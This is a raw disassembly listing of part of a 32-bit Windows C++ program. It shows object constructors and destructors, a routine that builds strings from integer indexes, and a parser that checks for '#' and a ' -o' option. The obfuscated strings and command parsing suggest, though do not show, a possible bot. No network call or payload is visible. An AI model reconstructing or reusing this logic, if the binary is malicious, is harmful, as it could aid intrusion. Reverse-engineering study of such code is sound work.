		lea	ecx, [esp+47Ch+var_450]
		call	sub_401870
		mov	byte ptr [esp+478h+var_4], 3
		xor	esi, esi
		lea	edi, [esp+478h+var_408]


loc_4035E1:				; CODE XREF: sub_403530+105j
		mov	ebp, [edi]
		test	ebp, ebp
		jz	short loc_403637
		lea	ecx, [esp+478h+var_438]
		call	sub_40168B
		dec	ebp
		push	eax
		lea	ecx, [esp+47Ch+var_420]
		push	ebp
		push	ecx
		lea	ecx, [esp+484h+var_468]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+478h+var_4], 4
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+47Ch+var_450]
		call	sub_401AAF
		lea	ecx, [esp+478h+var_420]
		mov	byte ptr [esp+478h+var_4], 3
		call	sub_401226
		inc	esi
		add	edi, 4
		cmp	esi, 0FFh
		jb	short loc_4035E1


loc_403637:				; CODE XREF: sub_403530+B5j
		mov	esi, [esp+478h+arg_0]
		lea	edx, [esp+478h+var_450]
		push	edx
		mov	ecx, esi
		call	sub_4014D3
		mov	[esp+478h+var_46C], 1
		lea	ecx, [esp+478h+var_450]
		mov	byte ptr [esp+478h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+478h+var_438]
		mov	byte ptr [esp+478h+var_4], 1
		call	sub_401226
		lea	ecx, [esp+478h+var_468]
		mov	byte ptr [esp+478h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+478h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 46Ch
		retn
sub_403530	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403700	proc near		; CODE XREF: sub_40129Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403700
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+9]
		call	sub_40222A
		lea	ecx, [esi+52h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+9Bh]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_40222A
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_40222A
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_40222A
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_40222A
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_40222A
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_40222A
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_40222A
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_40222A
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_40222A
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_40222A
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_40222A
		mov	byte ptr [esp+14h+var_4], 12h
		lea	ecx, [esi+574h]
		call	sub_40222A
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_40222A
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_40222A
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_40222A
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_40222A
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_40222A
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_40222A
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_40222A
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_40222A
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_40222A
		lea	ecx, [esi+84Eh]
		mov	byte ptr [esp+14h+var_4], 1Ch
		call	sub_40222A
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_40222A
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_40222A
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_40222A
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_40222A
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_40222A
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_40222A
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_40222A
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_40222A
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_40222A
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_40222A
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401753
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401753
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401753
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401753
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401753
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401753
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401753
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401753
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401753
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401753
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401753
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401753
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401753
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401753
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401753
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401753
		lea	ecx, [esi+0E51h]
		mov	byte ptr [esp+14h+var_4], 37h
		call	sub_401753
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_4011A4
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_4011A4
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_4011A4
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_4011A4
		lea	ecx, [esi+179Fh]
		mov	byte ptr [esp+14h+var_4], 3Ch
		call	sub_4011A4
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F000
		mov	byte ptr [esi+4], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403700	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C30	proc near		; CODE XREF: sub_4011B3j
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43F004
		retn
sub_403C30	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403C50	proc near		; CODE XREF: sub_40222Aj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403C50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+1Eh]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		lea	ecx, [esi+33h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403C50	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403CD0	proc near		; CODE XREF: sub_401AE6j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403CD0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+33h]
		mov	[esp+14h+var_4], 1
		call	sub_401226
		lea	ecx, [esi+1Eh]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401226
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403CD0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403D50	proc near		; CODE XREF: sub_401753j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403D50
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40142E
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_40142E
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403D50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403DC0	proc near		; CODE XREF: sub_4011A4j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403DC0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_40222A
		lea	ecx, [esi+49h]
		mov	[esp+14h+var_4], 0
		call	sub_40222A
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_40222A
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_40222A
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_40222A
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_40222A
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_40222A
		lea	ecx, [esi+1FFh]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_40222A
		mov	ecx, [esp+14h+var_C]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403DC0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_403EA0	proc near		; CODE XREF: sub_40208Bj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403EA0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+1FFh]
		mov	[esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1B6h]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+16Dh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+124h]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0DBh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		lea	ecx, [esi+92h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401AE6
		lea	ecx, [esi+49h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		mov	ecx, esi
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_403EA0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_403F80	proc near		; CODE XREF: sub_401D48j

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_403F80
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 48h
		push	ebp
		push	esi
		push	edi
		push	0
		push	4
		push	9
		push	4Fh
		lea	eax, [esp+70h+var_3C]
		push	2
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 18h
		push	esi
		mov	ecx, eax
		mov	[esp+64h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+0C29h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_403F80	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4
		push	0Eh
		push	12h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0BCDh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	15h
		push	0Fh
		push	2
		push	1
		push	4Fh
		lea	ecx, [esp+40h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 24h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 2
		call	sub_4017EE
		lea	edx, [esi+0C57h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	12h
		push	15h
		push	3
		push	5
		push	13h
		push	4Fh
		lea	eax, [esp+44h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 3
		call	sub_4017EE
		lea	ecx, [esi+0DF5h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Fh
		push	6
		push	0Eh
		push	9
		push	13h
		push	19h
		push	13h
		push	4Fh
		lea	edx, [esp+48h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 4
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0C85h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	16h
		push	0Fh
		push	0Dh
		push	5
		push	12h
		push	4Fh
		lea	ecx, [esp+44h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 28h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 5
		call	sub_4017EE
		lea	edx, [esi+0B71h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		push	4Fh
		lea	eax, [esp+4Ch]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 30h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 6
		call	sub_4017EE
		lea	ecx, [esi+0DC7h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Eh
		push	5
		push	10h
		push	0Fh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 7
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D0Fh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	14h
		push	9
		push	15h
		push	11h
		push	4Fh
		lea	ecx, [esp+3Ch]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 8
		call	sub_4017EE
		lea	edx, [esi+0D99h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	4
		push	0Dh
		push	3
		push	4Fh
		lea	eax, [esp+38h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 9
		call	sub_4017EE
		lea	ecx, [esi+0E23h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Fh
		lea	edx, [esp+38h]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ah
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0D6Bh]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	13h
		push	0Eh
		push	4
		push	4Fh
		lea	ecx, [esp+38h]
		push	2
		push	ecx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Bh
		call	sub_4017EE
		lea	edx, [esi+0D3Dh]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	5
		push	0Dh
		push	9
		push	14h
		push	10h
		push	15h
		push	0Ch
		push	4Fh
		lea	eax, [esp+48h]
		push	2
		push	eax
		call	sub_4019C4
		add	esp, 2Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+0CB3h]
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+24h]
		mov	[esp+5Ch], edi
		call	sub_401226
		push	0
		push	0Bh
		push	3
		push	9
		push	0Eh
		push	4Fh
		lea	edx, [esp+3Ch]
		push	2
		push	edx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+60h], 0Dh
		call	sub_4017EE
		push	eax
		lea	eax, [esi+0CE1h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		db 8Dh,	4Ch, 24h
		dd 247C8924h, 0CE60E85Ch, 4E8DFFFFh, 0D420E809h, 4C8DFFFFh
		dd 51500C24h, 0FFDC67E8h, 6A006AFFh, 6A1D6A25h,	24548D23h
		dd 52286A3Ch, 7C2444C7h, 0Eh, 0FFD5CFE8h, 20C483FFh, 4C8DE88Bh
		dd 44C60C24h, 0E80F5C24h, 0FFFFD3E6h, 0E8CD8B50h, 0FFFFD3DEh
		dd 45F46850h, 75680044h, 0E8004D80h, 0FFFFDA04h, 8D10C483h
		dd 0C624244Ch, 0E5C2444h, 0FFCDF5E8h, 8D206AFFh, 6A402444h
		dd 4C8D5000h, 6FE81824h, 8BFFFFCEh, 2444C6C8h, 9FE8105Ch
		dd 50FFFFD3h, 4445F068h, 8E456800h, 0CEE8004Eh,	83FFFFCBh
		dd 4C8D0CC4h, 44C63C24h, 0E80E5C24h, 0FFFFCDB6h, 0C952E890h
		dd 0C88B023Dh, 624DD3B8h, 0C1E1F710h, 4C8D06EAh, 56890C24h
		dd 247C8905h, 0CD94E85Ch, 4C8BFFFFh, 5E5F5424h,	0D89645Dh
		dd 0
; ---------------------------------------------------------------------------
		add	esp, 54h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 150h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404600	proc near		; CODE XREF: sub_401A41j

var_88		= dword	ptr -88h
var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	0FFFFFFFFh
		push	offset SEH_404600
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 7Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+94h+arg_0]
		mov	ebp, ecx
		push	edi
		lea	ebx, [esi+2Ah]
		push	0
		mov	ecx, ebx
		mov	[esp+9Ch+var_88], ebp
		call	sub_401479
		mov	cl, [eax]
		lea	edi, [esi+69h]
		cmp	cl, 23h
		jnz	short loc_404642
		push	ebx
		jmp	short loc_404646
; ---------------------------------------------------------------------------


loc_404642:				; CODE XREF: sub_404600+3Dj
		lea	eax, [esi+15h]
		push	eax


loc_404646:				; CODE XREF: sub_404600+40j
		mov	ecx, edi
		call	sub_401FDC
		mov	al, [esi+94h]
		test	al, al
		jz	short loc_404662
		lea	ecx, [esi+15h]
		push	ecx
		mov	ecx, edi
		call	sub_401FDC


loc_404662:				; CODE XREF: sub_404600+55j
		mov	al, [esi+95h]
		test	al, al
		jz	short loc_4046DF
		lea	ecx, [esp+98h+var_6C]
		call	sub_40142E
		push	offset aO	; " -o"
		mov	ecx, esi
		mov	[esp+9Ch+var_4], 0
		call	sub_4013ED
		add	eax, 3
		lea	edx, [esp+98h+var_54]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_6C]
		mov	byte ptr [esp+9Ch+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], 0
		call	sub_401226
		lea	eax, [esp+98h+var_6C]
		mov	ecx, edi
		push	eax
		call	sub_401FDC
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226


loc_4046DF:				; CODE XREF: sub_404600+6Aj
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_6C]
		push	0
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		lea	edx, [esp+98h+var_54]
		mov	ebx, 2
		push	1
		push	edx
		mov	ecx, eax
		mov	[esp+0A0h+var_4], ebx
		call	sub_401E47
		lea	edi, [esi+7Eh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_401FDC
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_6C]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		lea	ecx, [ebp+32Ch]
		call	sub_401479
		push	0
		mov	ecx, esi
		mov	ebp, eax
		call	sub_401479
		mov	al, [eax]
		mov	cl, [ebp+0]
		cmp	al, cl
		jnz	loc_4049AA
		push	0
		push	14h
		push	1
		push	5
		push	10h
		push	5
		push	12h
		push	4Eh
		push	14h
		push	0Fh
		lea	ecx, [esp+0C0h+var_54]
		push	ebx
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	ecx, eax
		mov	[esp+98h+var_4], 4
		call	sub_4017EE
		push	eax
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4047CF
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+0B0h+arg_0], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		test	eax, eax
		jz	short loc_4047CF
		mov	bl, 1
		jmp	short loc_4047D1
; ---------------------------------------------------------------------------


loc_4047CF:				; CODE XREF: sub_404600+1A6j
					; sub_404600+1C9j
		xor	bl, bl


loc_4047D1:				; CODE XREF: sub_404600+1CDj
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	bl, bl
		jz	loc_40498E
		push	offset asc_444600 ; " "
		lea	eax, [esp+9Ch+var_54]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+9Ch+var_4], 5
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+98h+var_54]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		setz	bl
		call	sub_401226
		test	bl, bl
		jnz	loc_4049AA
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+var_4], 6
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+98h+var_54]
		mov	ebp, eax
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		test	ebp, ebp
		jz	loc_4049AA
		push	20h
		mov	ecx, esi
		call	sub_401D34
		lea	edx, [esp+98h+var_84]
		push	eax
		push	edx
		mov	ecx, esi
		call	sub_401E47
		mov	ebx, 7
		push	20h
		lea	ecx, [esp+9Ch+var_84]
		mov	[esp+9Ch+var_4], ebx
		call	sub_401D34
		push	eax
		lea	eax, [esp+9Ch+var_54]
		push	eax
		lea	ecx, [esp+0A0h+var_84]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		mov	byte ptr [esp+9Ch+var_4], 8
		call	sub_40202C
		lea	ecx, [esp+98h+var_54]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+98h+var_84]
		push	ecx
		mov	ecx, esi
		call	sub_401FDC
		push	offset asc_444600 ; " "
		lea	edx, [esp+9Ch+var_24]
		push	0
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		lea	ecx, [esp+98h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+0A0h+var_4], 9
		call	sub_401E47
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_401FDC
		lea	ecx, [esp+98h+var_3C]
		mov	byte ptr [esp+98h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+98h+var_24]
		mov	byte ptr [esp+98h+var_4], bl
		call	sub_401226
		mov	al, [esp+98h+arg_4]
		test	al, al
		jnz	short loc_404967
		test	ebp, ebp
		jle	short loc_404978


loc_404958:				; CODE XREF: sub_404600+363j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401F87
		dec	ebp
		jnz	short loc_404958
		jmp	short loc_404978
; ---------------------------------------------------------------------------


loc_404967:				; CODE XREF: sub_404600+352j
		test	ebp, ebp
		jle	short loc_404978


loc_40496B:				; CODE XREF: sub_404600+376j
